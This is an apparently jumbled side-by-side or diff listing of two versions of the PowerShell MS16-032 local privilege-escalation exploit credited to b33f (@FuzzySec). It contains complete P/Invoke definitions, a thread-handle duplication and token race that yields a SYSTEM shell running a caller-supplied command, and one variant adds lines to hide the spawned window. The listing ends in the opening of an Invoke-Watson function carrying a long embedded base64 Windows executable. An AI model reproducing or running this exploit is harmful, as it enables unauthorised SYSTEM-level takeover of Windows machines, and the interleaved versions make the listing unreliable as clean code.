169 | [DllImport("kernel32.dll", SetLastError=true)] | |
170 | public static extern bool CloseHandle(IntPtr hObject); | |
171 | ||
172 | [DllImport("kernel32.dll", SetLastError=true)] | |
173 | public static extern bool DuplicateHandle( | |
174 | IntPtr hSourceProcessHandle, | |
175 | IntPtr hSourceHandle, | |
176 | IntPtr hTargetProcessHandle, | |
177 | ref IntPtr lpTargetHandle, | |
178 | int dwDesiredAccess, | |
179 | bool bInheritHandle, | |
180 | int dwOptions); | |
181 | } | |
182 | ||
183 | public static class Ntdll | |
184 | { | |
185 | [DllImport("ntdll.dll", SetLastError=true)] | |
186 | public static extern int NtImpersonateThread( | |
187 | IntPtr ThreadHandle, | |
188 | IntPtr ThreadToImpersonate, | |
189 | ref SQOS SecurityQualityOfService); | |
190 | } | |
33 | ||
34 | param ( | |
35 | [Parameter(Mandatory = $True)] | |
36 | [string]$Cmd | |
37 | ||
38 | ) | |
39 | ||
40 | ||
41 | Add-Type -TypeDefinition @" | |
42 | using System; | |
43 | using System.Diagnostics; | |
44 | using System.Runtime.InteropServices; | |
45 | using System.Security.Principal; | |
46 | ||
47 | [StructLayout(LayoutKind.Sequential)] | |
48 | public struct PROCESS_INFORMATION | |
49 | { | |
50 | public IntPtr hProcess; | |
51 | public IntPtr hThread; | |
52 | public int dwProcessId; | |
53 | public int dwThreadId; | |
54 | } | |
55 | ||
56 | [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)] | |
57 | public struct STARTUPINFO | |
58 | { | |
59 | public Int32 cb; | |
60 | public string lpReserved; | |
61 | public string lpDesktop; | |
62 | public string lpTitle; | |
63 | public Int32 dwX; | |
64 | public Int32 dwY; | |
65 | public Int32 dwXSize; | |
66 | public Int32 dwYSize; | |
67 | public Int32 dwXCountChars; | |
68 | public Int32 dwYCountChars; | |
69 | public Int32 dwFillAttribute; | |
70 | public Int32 dwFlags; | |
71 | public Int16 wShowWindow; | |
72 | public Int16 cbReserved2; | |
73 | public IntPtr lpReserved2; | |
74 | public IntPtr hStdInput; | |
75 | public IntPtr hStdOutput; | |
76 | public IntPtr hStdError; | |
77 | } | |
78 | ||
79 | [StructLayout(LayoutKind.Sequential)] | |
80 | public struct SQOS | |
81 | { | |
82 | public int Length; | |
83 | public int ImpersonationLevel; | |
84 | public int ContextTrackingMode; | |
85 | public bool EffectiveOnly; | |
86 | } | |
87 | ||
88 | public static class Advapi32 | |
89 | { | |
90 | [DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)] | |
91 | public static extern bool CreateProcessWithLogonW( | |
92 | String userName, | |
93 | String domain, | |
94 | String password, | |
95 | int logonFlags, | |
96 | String applicationName, | |
97 | String commandLine, | |
98 | int creationFlags, | |
99 | int environment, | |
100 | String currentDirectory, | |
101 | ref STARTUPINFO startupInfo, | |
102 | out PROCESS_INFORMATION processInformation); | |
103 | ||
104 | [DllImport("advapi32.dll", SetLastError=true)] | |
105 | public static extern bool SetThreadToken( | |
106 | ref IntPtr Thread, | |
107 | IntPtr Token); | |
108 | ||
109 | [DllImport("advapi32.dll", SetLastError=true)] | |
110 | public static extern bool OpenThreadToken( | |
111 | IntPtr ThreadHandle, | |
112 | int DesiredAccess, | |
113 | bool OpenAsSelf, | |
114 | out IntPtr TokenHandle); | |
115 | ||
116 | [DllImport("advapi32.dll", SetLastError=true)] | |
117 | public static extern bool OpenProcessToken( | |
118 | IntPtr ProcessHandle, | |
119 | int DesiredAccess, | |
120 | ref IntPtr TokenHandle); | |
121 | ||
122 | [DllImport("advapi32.dll", SetLastError=true)] | |
123 | public extern static bool DuplicateToken( | |
124 | IntPtr ExistingTokenHandle, | |
125 | int SECURITY_IMPERSONATION_LEVEL, | |
126 | ref IntPtr DuplicateTokenHandle); | |
127 | } | |
128 | ||
129 | public static class Kernel32 | |
130 | { | |
131 | [DllImport("kernel32.dll")] | |
132 | public static extern uint GetLastError(); | |
133 | ||
134 | [DllImport("kernel32.dll", SetLastError=true)] | |
135 | public static extern IntPtr GetCurrentProcess(); | |
136 | ||
137 | [DllImport("kernel32.dll", SetLastError=true)] | |
138 | public static extern IntPtr GetCurrentThread(); | |
139 | ||
140 | [DllImport("kernel32.dll", SetLastError=true)] | |
141 | public static extern int GetThreadId(IntPtr hThread); | |
142 | ||
143 | [DllImport("kernel32.dll", SetLastError = true)] | |
144 | public static extern int GetProcessIdOfThread(IntPtr handle); | |
145 | ||
146 | [DllImport("kernel32.dll",SetLastError=true)] | |
147 | public static extern int SuspendThread(IntPtr hThread); | |
148 | ||
149 | [DllImport("kernel32.dll",SetLastError=true)] | |
150 | public static extern int ResumeThread(IntPtr hThread); | |
151 | ||
152 | [DllImport("kernel32.dll", SetLastError=true)] | |
153 | public static extern bool TerminateProcess( | |
154 | IntPtr hProcess, | |
155 | uint uExitCode); | |
156 | ||
157 | [DllImport("kernel32.dll", SetLastError=true)] | |
158 | public static extern bool CloseHandle(IntPtr hObject); | |
159 | ||
160 | [DllImport("kernel32.dll", SetLastError=true)] | |
161 | public static extern bool DuplicateHandle( | |
162 | IntPtr hSourceProcessHandle, | |
163 | IntPtr hSourceHandle, | |
164 | IntPtr hTargetProcessHandle, | |
165 | ref IntPtr lpTargetHandle, | |
166 | int dwDesiredAccess, | |
167 | bool bInheritHandle, | |
168 | int dwOptions); | |
169 | } | |
170 | ||
171 | public static class Ntdll | |
172 | { | |
173 | [DllImport("ntdll.dll", SetLastError=true)] | |
174 | public static extern int NtImpersonateThread( | |
175 | IntPtr ThreadHandle, | |
176 | IntPtr ThreadToImpersonate, | |
177 | ref SQOS SecurityQualityOfService); | |
178 | } | |
191 | 179 | "@ |
192 | ||
193 | function Get-ThreadHandle { | |
194 | $StartupInfo = New-Object STARTUPINFO | |
195 | $StartupInfo.dwFlags = 0x00000100 | |
196 | $StartupInfo.hStdInput = [Kernel32]::GetCurrentThread() | |
197 | $StartupInfo.hStdOutput = [Kernel32]::GetCurrentThread() | |
198 | $StartupInfo.hStdError = [Kernel32]::GetCurrentThread() | |
199 | $StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) | |
200 | ||
201 | $ProcessInfo = New-Object PROCESS_INFORMATION | |
202 | $GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName | |
203 | ||
204 | $CallResult = [Advapi32]::CreateProcessWithLogonW( | |
205 | "user", "domain", "pass", | |
206 | 0x00000002, "C:\Windows\System32\cmd.exe", "", | |
207 | 0x00000004, $null, $GetCurrentPath, | |
208 | [ref]$StartupInfo, [ref]$ProcessInfo) | |
209 | ||
210 | $lpTargetHandle = [IntPtr]::Zero | |
211 | $CallResult = [Kernel32]::DuplicateHandle( | |
212 | $ProcessInfo.hProcess, 0x4, | |
213 | [Kernel32]::GetCurrentProcess(), | |
214 | [ref]$lpTargetHandle, 0, $false, | |
215 | 0x00000002) | |
216 | ||
217 | $CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1) | |
218 | $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess) | |
219 | $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread) | |
220 | ||
221 | $lpTargetHandle | |
222 | } | |
223 | ||
224 | function Get-SystemToken { | |
225 | Write-Verbose "`n[?] Trying thread handle: $Thread" | |
226 | Write-Verbose "[?] Thread belongs to: $($(Get-Process -PID $([Kernel32]::GetProcessIdOfThread($Thread))).ProcessName)" | |
227 | ||
228 | $CallResult = [Kernel32]::SuspendThread($Thread) | |
229 | if ($CallResult -ne 0) { | |
230 | Write-Verbose "[!] $Thread is a bad thread, moving on.." | |
231 | Return | |
232 | } Write-Verbose "[+] Thread suspended" | |
233 | ||
234 | Write-Verbose "[>] Wiping current impersonation token" | |
235 | $CallResult = [Advapi32]::SetThreadToken([ref]$Thread, [IntPtr]::Zero) | |
236 | if (!$CallResult) { | |
237 | Write-Verbose "[!] SetThreadToken failed, moving on.." | |
238 | $CallResult = [Kernel32]::ResumeThread($Thread) | |
239 | Write-Verbose "[+] Thread resumed!" | |
240 | Return | |
241 | } | |
242 | ||
243 | Write-Verbose "[>] Building SYSTEM impersonation token" | |
244 | $SQOS = New-Object SQOS | |
245 | $SQOS.ImpersonationLevel = 2 | |
246 | $SQOS.Length = [System.Runtime.InteropServices.Marshal]::SizeOf($SQOS) | |
247 | $CallResult = [Ntdll]::NtImpersonateThread($Thread, $Thread, [ref]$sqos) | |
248 | if ($CallResult -ne 0) { | |
249 | Write-Verbose "[!] NtImpersonateThread failed, moving on.." | |
250 | $CallResult = [Kernel32]::ResumeThread($Thread) | |
251 | Write-Verbose "[+] Thread resumed!" | |
252 | Return | |
253 | } | |
254 | ||
255 | $script:SysTokenHandle = [IntPtr]::Zero | |
256 | $CallResult = [Advapi32]::OpenThreadToken($Thread, 0x0006, $false, [ref]$SysTokenHandle) | |
257 | if (!$CallResult) { | |
258 | Write-Verbose "[!] OpenThreadToken failed, moving on.." | |
259 | $CallResult = [Kernel32]::ResumeThread($Thread) | |
260 | Write-Verbose "[+] Thread resumed!" | |
261 | Return | |
262 | } | |
263 | ||
264 | Write-Verbose "[?] Success, open SYSTEM token handle: $SysTokenHandle" | |
265 | Write-Verbose "[+] Resuming thread.." | |
266 | $CallResult = [Kernel32]::ResumeThread($Thread) | |
267 | } | |
268 | ||
269 | $ms16032 = @" | |
270 | __ __ ___ ___ ___ ___ ___ ___ | |
271 | | V | _|_ | | _|___| |_ |_ | | |
272 | | |_ |_| |_| . |___| | |_ | _| | |
273 | |_|_|_|___|_____|___| |___|___|___| | |
274 | ||
275 | [by b33f -> @FuzzySec] | |
180 | ||
181 | function Get-ThreadHandle { | |
182 | # StartupInfo Struct | |
183 | $StartupInfo = New-Object STARTUPINFO | |
184 | $StartupInfo.dwFlags = 0x00000100 # STARTF_USESTDHANDLES | |
185 | $StartupInfo.hStdInput = [Kernel32]::GetCurrentThread() | |
186 | $StartupInfo.hStdOutput = [Kernel32]::GetCurrentThread() | |
187 | $StartupInfo.hStdError = [Kernel32]::GetCurrentThread() | |
188 | $StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size | |
189 | ||
190 | # ProcessInfo Struct | |
191 | $ProcessInfo = New-Object PROCESS_INFORMATION | |
192 | ||
193 | # CreateProcessWithLogonW --> lpCurrentDirectory | |
194 | $GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName | |
195 | ||
196 | # LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED | |
197 | $CallResult = [Advapi32]::CreateProcessWithLogonW( | |
198 | "user", "domain", "pass", | |
199 | 0x00000002, "C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe", " -Command $Cmd", | |
200 | 0x00000004, $null, $GetCurrentPath, | |
201 | [ref]$StartupInfo, [ref]$ProcessInfo) | |
202 | ||
203 | # Duplicate handle into current process -> DUPLICATE_SAME_ACCESS | |
204 | $lpTargetHandle = [IntPtr]::Zero | |
205 | $CallResult = [Kernel32]::DuplicateHandle( | |
206 | $ProcessInfo.hProcess, 0x4, | |
207 | [Kernel32]::GetCurrentProcess(), | |
208 | [ref]$lpTargetHandle, 0, $false, | |
209 | 0x00000002) | |
210 | ||
211 | # Clean up suspended process | |
212 | $CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1) | |
213 | $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess) | |
214 | $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread) | |
215 | ||
216 | $lpTargetHandle | |
217 | } | |
218 | ||
219 | function Get-SystemToken { | |
220 | echo "`n[?] Trying thread handle: $Thread" | |
221 | echo "[?] Thread belongs to: $($(Get-Process -PID $([Kernel32]::GetProcessIdOfThread($Thread))).ProcessName)" | |
222 | ||
223 | $CallResult = [Kernel32]::SuspendThread($Thread) | |
224 | if ($CallResult -ne 0) { | |
225 | echo "[!] $Thread is a bad thread, moving on.." | |
226 | Return | |
227 | } echo "[+] Thread suspended" | |
228 | ||
229 | echo "[>] Wiping current impersonation token" | |
230 | $CallResult = [Advapi32]::SetThreadToken([ref]$Thread, [IntPtr]::Zero) | |
231 | if (!$CallResult) { | |
232 | echo "[!] SetThreadToken failed, moving on.." | |
233 | $CallResult = [Kernel32]::ResumeThread($Thread) | |
234 | echo "[+] Thread resumed!" | |
235 | Return | |
236 | } | |
237 | ||
238 | echo "[>] Building SYSTEM impersonation token" | |
239 | # SecurityQualityOfService struct | |
240 | $SQOS = New-Object SQOS | |
241 | $SQOS.ImpersonationLevel = 2 #SecurityImpersonation | |
242 | $SQOS.Length = [System.Runtime.InteropServices.Marshal]::SizeOf($SQOS) | |
243 | # Undocumented API's, I like your style Microsoft ;) | |
244 | $CallResult = [Ntdll]::NtImpersonateThread($Thread, $Thread, [ref]$sqos) | |
245 | if ($CallResult -ne 0) { | |
246 | echo "[!] NtImpersonateThread failed, moving on.." | |
247 | $CallResult = [Kernel32]::ResumeThread($Thread) | |
248 | echo "[+] Thread resumed!" | |
249 | Return | |
250 | } | |
251 | ||
252 | # 0x0006 --> TOKEN_DUPLICATE -bor TOKEN_IMPERSONATE | |
253 | $CallResult = [Advapi32]::OpenThreadToken($Thread, 0x0006, $false, [ref]$SysTokenHandle) | |
254 | if (!$CallResult) { | |
255 | echo "[!] OpenThreadToken failed, moving on.." | |
256 | $CallResult = [Kernel32]::ResumeThread($Thread) | |
257 | echo "[+] Thread resumed!" | |
258 | Return | |
259 | } | |
260 | ||
261 | echo "[?] Success, open SYSTEM token handle: $SysTokenHandle" | |
262 | echo "[+] Resuming thread.." | |
263 | $CallResult = [Kernel32]::ResumeThread($Thread) | |
264 | } | |
265 | ||
266 | # main() <--- ;) | |
267 | $ms16032 = @" | |
268 | __ __ ___ ___ ___ ___ ___ ___ | |
269 | | V | _|_ | | _|___| |_ |_ | | |
270 | | |_ |_| |_| . |___| | |_ | _| | |
271 | |_|_|_|___|_____|___| |___|___|___| | |
272 | ||
273 | [by b33f -> @FuzzySec] | |
276 | 274 | "@ |
277 | ||
278 | $ms16032 | |
279 | ||
280 | Write-Verbose "`n[?] Operating system core count: $([System.Environment]::ProcessorCount)" | |
281 | if ($([System.Environment]::ProcessorCount) -lt 2) { | |
282 | "[!] This is a VM isn't it, race condition requires at least 2 CPU cores, exiting!`n" | |
283 | Return | |
284 | } | |
285 | ||
286 | $ThreadArray = @() | |
287 | $TidArray = @() | |
288 | ||
289 | Write-Verbose "[>] Duplicating CreateProcessWithLogonW handles.." | |
290 | for ($i=0; $i -lt 500; $i++) { | |
291 | $hThread = Get-ThreadHandle | |
292 | $hThreadID = [Kernel32]::GetThreadId($hThread) | |
293 | if ($TidArray -notcontains $hThreadID) { | |
294 | $TidArray += $hThreadID | |
295 | if ($hThread -ne 0) { | |
296 | $ThreadArray += $hThread | |
297 | } | |
298 | } | |
299 | } | |
300 | ||
301 | if ($($ThreadArray.length) -eq 0) { | |
302 | "[!] No valid thread handles were captured, exiting!" | |
303 | Return | |
304 | } else { | |
305 | Write-Verbose "[?] Done, got $($ThreadArray.length) thread handle(s)!" | |
306 | Write-Verbose "`n[?] Thread handle list:" | |
307 | } | |
308 | ||
309 | Write-Verbose "`n[*] Sniffing out privileged impersonation token.." | |
310 | foreach ($Thread in $ThreadArray){ | |
311 | ||
312 | Get-SystemToken | |
313 | ||
314 | Write-Verbose "`n[*] Sniffing out SYSTEM shell.." | |
315 | Write-Verbose "`n[>] Duplicating SYSTEM token" | |
316 | $hDuplicateTokenHandle = [IntPtr]::Zero | |
317 | $CallResult = [Advapi32]::DuplicateToken($SysTokenHandle, 2, [ref]$hDuplicateTokenHandle) | |
318 | ||
319 | Write-Verbose "[>] Starting token race" | |
320 | $Runspace = [runspacefactory]::CreateRunspace() | |
321 | $StartTokenRace = [powershell]::Create() | |
322 | $StartTokenRace.runspace = $Runspace | |
323 | $Runspace.Open() | |
324 | [void]$StartTokenRace.AddScript({ | |
325 | Param ($Thread, $hDuplicateTokenHandle) | |
326 | while ($true) { | |
327 | $CallResult = [Advapi32]::SetThreadToken([ref]$Thread, $hDuplicateTokenHandle) | |
328 | } | |
329 | }).AddArgument($Thread).AddArgument($hDuplicateTokenHandle) | |
330 | $AscObj = $StartTokenRace.BeginInvoke() | |
331 | ||
332 | Write-Verbose "[>] Starting process race" | |
333 | $SafeGuard = [diagnostics.stopwatch]::StartNew() | |
334 | while ($SafeGuard.ElapsedMilliseconds -lt 10000) { | |
335 | $StartupInfo = New-Object STARTUPINFO | |
336 | # 2 lines added to hide window | |
337 | $StartupInfo.dwFlags = 0x00000001 | |
338 | $StartupInfo.wShowWindow = 0x00000000 | |
339 | $StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size | |
340 | ||
341 | $ProcessInfo = New-Object PROCESS_INFORMATION | |
342 | ||
343 | $GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName | |
344 | ||
345 | $CallResult = [Advapi32]::CreateProcessWithLogonW( | |
346 | "user", "domain", "pass", | |
347 | 0x00000002, "$Env:SystemRoot\System32\WindowsPowerShell\v1.0\powershell.exe", " -command $Command", | |
348 | 0x00000004, $null, $GetCurrentPath, | |
349 | [ref]$StartupInfo, [ref]$ProcessInfo) | |
350 | ||
351 | $hTokenHandle = [IntPtr]::Zero | |
352 | $CallResult = [Advapi32]::OpenProcessToken($ProcessInfo.hProcess, 0x28, [ref]$hTokenHandle) | |
353 | if (!$CallResult) { | |
354 | "`n[!] Holy handle leak Batman, we have a SYSTEM shell!!`n" | |
355 | $CallResult = [Kernel32]::ResumeThread($ProcessInfo.hThread) | |
356 | $StartTokenRace.Stop() | |
357 | $SafeGuard.Stop() | |
358 | Return | |
359 | } | |
360 | ||
361 | $CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1) | |
362 | $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess) | |
363 | $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread) | |
364 | } | |
365 | ||
366 | $StartTokenRace.Stop() | |
367 | $SafeGuard.Stop() | |
368 | } | |
275 | ||
276 | $ms16032 | |
277 | ||
278 | # Check logical processor count, race condition requires 2+ | |
279 | echo "`n[?] Operating system core count: $([System.Environment]::ProcessorCount)" | |
280 | if ($([System.Environment]::ProcessorCount) -lt 2) { | |
281 | echo "[!] This is a VM isn't it, race condition requires at least 2 CPU cores, exiting!`n" | |
282 | Return | |
283 | } | |
284 | ||
285 | # Create array for Threads & TID's | |
286 | $ThreadArray = @() | |
287 | $TidArray = @() | |
288 | ||
289 | echo "[>] Duplicating CreateProcessWithLogonW handles.." | |
290 | # Loop Get-ThreadHandle and collect thread handles with a valid TID | |
291 | for ($i=0; $i -lt 500; $i++) { | |
292 | $hThread = Get-ThreadHandle | |
293 | $hThreadID = [Kernel32]::GetThreadId($hThread) | |
294 | # Bit hacky/lazy, filters on uniq/valid TID's to create $ThreadArray | |
295 | if ($TidArray -notcontains $hThreadID) { | |
296 | $TidArray += $hThreadID | |
297 | if ($hThread -ne 0) { | |
298 | $ThreadArray += $hThread # This is what we need! | |
299 | } | |
300 | } | |
301 | } | |
302 | ||
303 | if ($($ThreadArray.length) -eq 0) { | |
304 | echo "[!] No valid thread handles were captured, exiting!`n" | |
305 | Return | |
306 | } else { | |
307 | echo "[?] Done, got $($ThreadArray.length) thread handle(s)!" | |
308 | echo "`n[?] Thread handle list:" | |
309 | $ThreadArray | |
310 | } | |
311 | ||
312 | echo "`n[*] Sniffing out privileged impersonation token.." | |
313 | foreach ($Thread in $ThreadArray){ | |
314 | ||
315 | # Null $SysTokenHandle | |
316 | $script:SysTokenHandle = [IntPtr]::Zero | |
317 | ||
318 | # Get handle to SYSTEM access token | |
319 | Get-SystemToken | |
320 | ||
321 | # If we fail a check in Get-SystemToken, skip loop | |
322 | if ($SysTokenHandle -eq 0) { | |
323 | continue | |
324 | } | |
325 | ||
326 | echo "`n[*] Sniffing out SYSTEM shell.." | |
327 | echo "`n[>] Duplicating SYSTEM token" | |
328 | $hDuplicateTokenHandle = [IntPtr]::Zero | |
329 | $CallResult = [Advapi32]::DuplicateToken($SysTokenHandle, 2, [ref]$hDuplicateTokenHandle) | |
330 | ||
331 | # Simple PS runspace definition | |
332 | echo "[>] Starting token race" | |
333 | $Runspace = [runspacefactory]::CreateRunspace() | |
334 | $StartTokenRace = [powershell]::Create() | |
335 | $StartTokenRace.runspace = $Runspace | |
336 | $Runspace.Open() | |
337 | [void]$StartTokenRace.AddScript({ | |
338 | Param ($Thread, $hDuplicateTokenHandle) | |
339 | while ($true) { | |
340 | $CallResult = [Advapi32]::SetThreadToken([ref]$Thread, $hDuplicateTokenHandle) | |
341 | } | |
342 | }).AddArgument($Thread).AddArgument($hDuplicateTokenHandle) | |
343 | $AscObj = $StartTokenRace.BeginInvoke() | |
344 | ||
345 | echo "[>] Starting process race" | |
346 | # Adding a timeout (10 seconds) here to safeguard from edge-cases | |
347 | $SafeGuard = [diagnostics.stopwatch]::StartNew() | |
348 | while ($SafeGuard.ElapsedMilliseconds -lt 10000) { | |
349 | # StartupInfo Struct | |
350 | $StartupInfo = New-Object STARTUPINFO | |
351 | $StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size | |
352 | ||
353 | # ProcessInfo Struct | |
354 | $ProcessInfo = New-Object PROCESS_INFORMATION | |
355 | ||
356 | # CreateProcessWithLogonW --> lpCurrentDirectory | |
357 | $GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName | |
358 | ||
359 | # LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED | |
360 | $CallResult = [Advapi32]::CreateProcessWithLogonW( | |
361 | "user", "domain", "pass", | |
362 | 0x00000002, "C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe", " -Command $Cmd", | |
363 | 0x00000004, $null, $GetCurrentPath, | |
364 | [ref]$StartupInfo, [ref]$ProcessInfo) | |
365 | ||
366 | $hTokenHandle = [IntPtr]::Zero | |
367 | $CallResult = [Advapi32]::OpenProcessToken($ProcessInfo.hProcess, 0x28, [ref]$hTokenHandle) | |
368 | # If we can't open the process token it's a SYSTEM shell! | |
369 | if (!$CallResult) { | |
370 | echo "[!] Holy handle leak Batman, we have a SYSTEM shell!!`n" | |
371 | $CallResult = [Kernel32]::ResumeThread($ProcessInfo.hThread) | |
372 | $StartTokenRace.Stop() | |
373 | $SafeGuard.Stop() | |
374 | Return | |
375 | } | |
376 | ||
377 | # Clean up suspended process | |
378 | $CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1) | |
379 | $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess) | |
380 | $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread) | |
381 | } | |
382 | ||
383 | # Kill runspace & stopwatch if edge-case | |
384 | $StartTokenRace.Stop() | |
385 | $SafeGuard.Stop() | |
386 | } | |
369 | 387 | } |
0 | function Invoke-Watson | |
1 | { | |
2 | ||
3 | $base64binary="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